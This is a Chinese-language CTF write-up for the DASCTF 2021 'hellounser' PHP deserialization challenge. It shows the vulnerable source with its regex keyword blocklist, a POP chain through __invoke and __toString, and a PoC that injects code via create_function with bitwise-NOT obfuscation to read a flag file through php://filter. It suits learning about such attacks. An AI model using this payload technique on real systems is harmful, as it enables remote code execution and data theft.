hellounser [DASCTF 2021 Sept]
Analyze
先上题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } }
class B{ public $func; public $arg; public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; $func('', $this->arg); } } public function __toString(){ $this->show(); return "<br>"."Nice Job!!"."<br>"; } }
if(isset($_GET['pop'])){ $aaa = unserialize($_GET['pop']); $aaa(); } else{ highlight_file(__FILE__); }
?>
|
稍加分析,在类B
中,函数show()
包含了flag.php
,而函数__toString()
调用了函数show()
,
__toString()
:类被当成字符串时的回应方法
而在类A
中,函数show()
会输出字符串var
,那么我们可以将var
定义为B
的对象,而类A
中的函数show()
又被函数__invoke()
调用
__invoke()
:调用函数的方式调用一个对象时的回应方法
POP链清晰了,那么现在就看看如何获取flag
,很显然,我们既不能满足preg_match('/^[a-z0-9]*$/isD', $this->func)
,又不能满足preg_match('...', $this->arg)
,前一个正则表达式限制了func
不能为纯字母或数字,i
为不区分大小写,s
为匹配任何不可见字符,包括空格、制表符、换页符…,等价于[fnrtv]
,D
为如果使用$
限制结尾字符,则不允许结尾有换行,而后一个则是普通的字符过滤。
在这里可以考虑使用函数create_function()
fcreate_function()
:会创造一个匿名函数 (lambda
样式),且会在内部调用函数eval()
进行代码注入:return(1);}???;//
随后进行简单的绕过即可
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class A { public $var; public function show() { echo $this->var; } public function __invoke() { $this->show(); } }
class B { public $func; public $srg; public function __toString() { $this->show(); } }
$a=new A(); $b=new B(); $ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')); $b->func="create_function"; $b->arg='return(1);}require(~('.strval($ac).'));//'; $a->var=$b;
echo urlencode(serialize($a));
|